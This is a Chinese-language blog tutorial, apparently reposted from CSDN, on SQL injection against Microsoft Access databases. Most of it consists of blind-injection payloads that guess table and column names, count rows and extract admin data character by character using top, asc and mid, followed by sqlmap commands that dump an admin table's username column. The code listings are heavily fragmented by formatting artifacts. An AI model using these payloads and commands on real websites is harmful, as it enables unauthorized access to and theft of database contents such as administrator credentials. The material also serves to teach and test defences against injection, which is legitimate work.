Access数据库及注入方法

最新推荐文章于 2022-08-03 13:35:13 发布
最新推荐文章于 2022-08-03 13:35:13 发布
阅读量524 收藏
点赞数
原文链接：https://blog.csdn.net/qq_36119192/article/details/86468579
版权

目录

Access数据库

Access数据库中的函数 

盲注Access数据库 

Sqlmap注入Access数据库

Access数据库

Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库，所以不需要端口号。

在Office 2007之前的Access数据库文件的后缀是 .mdb ，Office2007及其之后的Access数据库文件的后缀是 .accdb 。

Access数据库中没有注释符号.因此  /**/   、 --   和   #   都没法使用。

Access是小型数据库，当容量到达100M左右的时候性能就会开始下降。

Access数据库不支持错误显示注入，Access数据库不能执行系统命令。

数据库文件打开工具：辅臣数据库浏览器

Access数据库的连接

"Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;"

Access数据库中的函数 


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     select 
     
     len(
     
     "string")        查询给定字符串的长度
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     select 
     
     asc(
     
     "a")             查询给定字符串的
     
     ascii值
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     top  n                      查询前n条记录
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     select 
     
     mid(
     
     "string",
     
     2,
     
     1)    查询给定字符串从指定索引开始的长度

mid(string,start,length) 这个用来截取字符串的

  •     string是要截取的字符串
  •     start是截取的字符串开始索引
  •     length是要截取的字符串长度 

盲注Access数据库 

Access数据库特有的表是：msysobjects  ，所以可以用它来判断是否是Access数据库

exists(select*from msysobjects)  #如果这条语句正确，说明是Access数据库

Access没有数据库的概念，所有的表都是在同一个数据库下。所以，我们不用去判断当前的数据库名，并且access数据库中也不存在 database() 函数。

对于判断存在哪些表，只能用以下枚举的方法来猜测是否存在某某表。 


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     判断存在sql注入后，判断是否存在admin表，如果存在，正常查询，如果不存在，报语法错误。然后通过枚举表名爆破
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     and 
     
     exists(
     
     select* from  admin)

猜测字段也是一样，只能通过枚举来猜测 


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     判断有admin表后，再判断admin表有多少列，假如1-10正常查询，11列报语法报错，那说明有10列
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     and exists(
     
     select*
     
     from 
     
     admin 
     
     order 
     
     by 
     
     10)
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     判断出存在的列数后，再判断具体的列名。以下语句判断是否存在
     
     name列，如果存在，正常查询，如果不存在，则报语法错误。然后再通过枚举列名爆破
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     and 
     
     exists(
     
     select 
     
     name 
     
     from 
     
     admin)

猜测完表名和字段名后，我们就看看这个表里面有多少行数据 ，如果>99查询正确，>100查询错误(这里是查询错误，而不是语法错误)，说明有100行数据

and (select count(*) from information)>100

然后在猜测每个字段具体的数据了 

access数据库中没有 limit，就不能限制查询出来的行数。但是我们可以使用top命令，top 1是将查询的所有数据只显示第一行，所以 top3就是显示查询出来的前三行数据了


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     猜测admin列的第一个数据的长度，如果大于5查询不出数据，大于4正常，说明admin列的第一个数据长度是5
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     and (
     
     select top 
     
     1 
     
     len(
     
     admin)
     
     from 
     
     admin)>
     
     5
    
    
    
   
   
  3. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
     
    
    
    
   
   
  4. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     猜测
     
     admin列的第一行数据的第一个字符的
     
     ascii码值，如果大于
     
     97查询不出数据，大于
     
     96正常，说明
     
     admin列的第一行数据的第一个字符的
     
     ascii值是
     
     97
    
    
    
   
   
  5. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     and (
     
     select top 
     
     1 
     
     asc(
     
     mid(
     
     admin,
     
     1,
     
     1))
     
     from 
     
     admin)>
     
     97 
    
    
    
   
   
  6. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     第一行数据的第二个字符
    
    
    
   
   
  7. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     and (
     
     select top 
     
     1 
     
     asc(
     
     mid(
     
     admin,
     
     2,
     
     1))
     
     from 
     
     admin)>
     
     97 
    
    
    
   
   
  8. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
     
    
    
    
   
   
  9. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     从第二行开始，查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据，所以我们得用联合查询，先查询前两条，然后倒序，然后在找出第一条，这就是第二条数据。
    
    
    
   
   
  10. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     查询第二行
     
     admin列的长度
    
    
    
   
   
  11. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     and (
     
     select top 
     
     1 
     
     len(
     
     admin)  
     
     from ( 
     
     select top 
     
     2 * 
     
     from information 
     
     order 
     
     by 
     
     id)  
     
     order 
     
     by 
     
     id 
     
     desc)>
     
     55
    
    
    
   
   
  12. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     下面是查询第
     
     2条数据的第
     
     3个字符
    
    
    
   
   
  13. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     and (
     
     select top 
     
     1 
     
     asc(
     
     mid(
     
     admin,
     
     3,
     
     1))  
     
     from ( 
     
     select top 
     
     2 * 
     
     from information 
     
     order 
     
     by 
     
     id)  
     
     order 
     
     by 
     
     id 
     
     desc)>
     
     55
    
    
    
   
   
  14. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     查询第三条数据的
     
     4个字符
    
    
    
   
   
  15. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     and (
     
     select top 
     
     1 
     
     asc(
     
     mid(
     
     admin,
     
     4,
     
     1))  
     
     from ( 
     
     select top 
     
     3 * 
     
     from information 
     
     order 
     
     by 
     
     id)  
     
     order 
     
     by 
     
     id 
     
     desc)>
     
     55

注：在access中，中文也可以用asc函数来表示，例如：asc(mid("中国",1)) 表示 中 字的ascii值，可以用 chr 来逆向得出值


 
 
  1. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     asc(
     
     "中") = 
     
     -10544
    
    
    
   
   
  2. 
   
   
    
    
    
    
   
   
    
   
   
    
    
    
    
     
     chr(
     
     -10544) = 中

Sqlmap注入Access数据库

爆出access数据库存在的表，只能利用枚举的方式爆破。

sqlmap -u "xxx"  --tables

第一步问我们是否使用公共的库去爆破，我们选择：Y；

第二步选择默认的库文件：1 

第三步选择线程数：10

可以看出爆出了两个数据表：admin 、 specialty

爆出admin数据库中的列名

sqlmap -u "xxx" -T admin --columns

意思和上一步也是一样的。 

爆出admin表下username列的所有数据

sqlmap -u "xxx" -T admin -C username --dump-all

相关文章：整理比较全的Access SQL注入参考

                  Sqlmap使用详解

                  SQL注入漏洞详解

 

Access数据库手工注入
IerkeU的博客
11-28 1830
ACCESS数据库手工注入 access数据库 是一种非常简单但是功能完整的数据库，很适合小型网站创建，可以很轻松管理表和列，有很多管理工具。 access数据库结构？ access数据库是这么个结构: 表名---->列名---->内容数据 他不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有一个库若干张表。 access注入基本流程？ 判断有没有注入点 猜解表名 猜解字段 猜解管理员ID值 猜解用户名和密码长度 猜解用户名和密码 ASP的
SQL注入之access盲注
游魂的博客
12-06 1080
ACCESS盲注: 一般用于没有回显位，无法直接回显数据库内容。 有两种语句方法： 第一种方法： http://192.168.1.1/news.asp?id=155 order by 1 回显数据库错误，既不可用回显注入。 http://192.168.1.1/news.asp?id=155 and 1=1 返回正常 http://192.168.1.1/news.asp?id=155 and ...
SQL注入系列之ASP+ACCESS手动注入(一)----数字型
热门推荐
fendo
12-30 2万+
一、access数据库 1.简介 Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点，是 Microsoft Office 的系统程序之一。 Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一
SQL手工注入基础详解---- Access篇
xabc3000的专栏
05-30 1万+
作者:DragonEgg 信息来源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/        复习了一下以前学习手工注入时做的笔记，想起以前苦学技术的日子真是感慨万千—别人在背英语句子时，而我在背数据库语句，同样都是英文，可谓煞咱的英语还是不及格呢？言归正传，虽然现在各种SQL注入工具层出不穷，但既然是工具就有出错的时候，并且有
SQL注入之数据库判断
ma963852的博客
04-14 4131
01 网站类型与数据库的联系 asp：SQLServer，Access .net ：SQLServer php：Mysql，PostgreSql java：Oracle，Mysql 可以根据网站类型来大概确定后续测试数据库的优先级。 02 依据主机端口 如果可以对主机进行端口扫描，可以根据是否开启对应端口，来大概判断数据库类型。 Oracle 默认端口号：1521 SQL Server 默认端口号：1433 MySQL 默认端口号：3306 PostgreSql 默认端口号：54..
Access SQL注入参考
asli33的专栏
02-17 717
Access SQL注入参考   描述 SQL查询及注释 注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替: ' UNION SELECT 1,1,1 FROM validTableName%00 语法错误信息 "[Microsoft][Driver ODB
kali linux 下sqlmap注入ACCESS数据库.doc
03-04
我们首先介绍了数据库安全和 SQL 注入的概念，然后详细介绍了 SQLmap 的功能和使用方法。最后，我们使用 SQLmap 实践了 ACCESS 数据库的攻击过程。希望本文能够帮助读者更好地理解 SQLmap 和数据库安全。
Access数据库SQL注入攻防技术研究 (1).pdf
09-19
SQL注入攻击是一种网络安全威胁，尤其针对使用Access数据库的ASP+IIS网站架构。Access数据库因其低成本和易于管理的特性，被广泛应用在个人、公司、企事业单位甚至政府网站中。然而，这种架构的安全性相对较低，如果...
Access数据库注入高级玩法.pdf
07-13
Access 数据库注入高级玩法 Access 数据库注入高级玩法是一种高级的数据库攻击技术，旨在攻击 Access 数据库，获取敏感信息。以下是该技术的详细解释和应用： 1. 基础篇猜解表名 猜解表名是 Access 数据库注入的...
java解析MDB文件的方法，已经写成公用方法
九零后的技术员
08-04 1万+
近期，有人和我说某些企业的数据是存储在Access库中，该文件以点mdb(.mdb)结尾，新人也许不知道Access。它是微软的办公软件存储形式，与office一样，是很早期的存储方案。 Java 为Access提供了解决方案，一种是桥接模式，即odbc形式，它不需要导任何包，因为它被封装在JDK1.7中，而如今，使用JDK1.8的较多，因为JDK6和JDK7并没有什么大改进，就像iPhone6
iis并发访问常识
mingmingsuper的专栏
04-14 1331
 由于虚拟主机是建立在每天服务器多用户的基础上的，也就是多个用户共同使用一台服务器。为了避免同一台服务器上的某一个用户的IIS链接人数过多或占用服务器资源过多而影响其它用户的正常使用，所以，目前所有虚拟空间提供商都对单个用户的IIS链接数，流量及服务器进程占用CPU的比率进行了相应的限制。当某一个用户的站点超出了服务器上的设制后，访问站点时就会出现服务器忙，或目前访问该站点的人数过多，超出了W
mysql盲注ascii_关于sql盲注语法
weixin_39884832的博客
02-28 298
如果页面没有显错数字，则用盲注语法根据页面变化来判断数据内容获取数据长度：and (select top 1 len(列名) from 表名)>5and (select top 1 len(password) from admin)>16//错误and (select top 1 len(password) from admin)>15//正常获取指定位数的数据：and (sel...
JPA之@Access注解
u012493207的博客
03-07 7895
JPA的@Access批注,其值定义在AccessType枚举类中,包括AccessType.FIELD及AccessType.PROPERTY,但是这两个类型有什么区别呢? JPA注解有两种方式来指定持久化实体状态: 1.字段访问,类似于 @Column(length = 20, nullable = false) private String userName;通过字段来获取
sql注入详解
m0_73109590的博客
08-03 1041
SQL注入（SQL Injection）是一种常见的Web安全漏洞，主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。 从而导致数据库受损（被脱库、被删除、甚至整个服务器权限陷）。...
access怎么做批注_access怎么做批注_怎样做批注
weixin_36444911的博客
02-22 275
怎样做批注一、什么是批注批注就是对把文章的批评和注解，批注处一般是文章引发个人情感共鸣处，能凸显文章的精神内核，养成作批注的习惯能大大提高阅读的效果和质量。批注也是我国文学鉴赏和批评的重要形式和传统的读书方法，批注的质量体现着一个人深厚的文学功底。二、批注的位置批注的位置可以是“眉批”(批在书头上)，可以是“旁批”(字、词、句的旁边，书页右侧)，可以是“尾批”(批在一段或全文之后)。三、批注的角度...
ACCESS数据库高级注入技术探讨
在网络安全领域，"ACCESS高级注入"是指针对Microsoft Access数据库进行的深度和复杂的注入攻击。Access数据库虽然在功能上相对较弱，但攻击者依然可以通过巧妙的方法来利用其弱点，对系统进行攻击。本文将深入解析...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值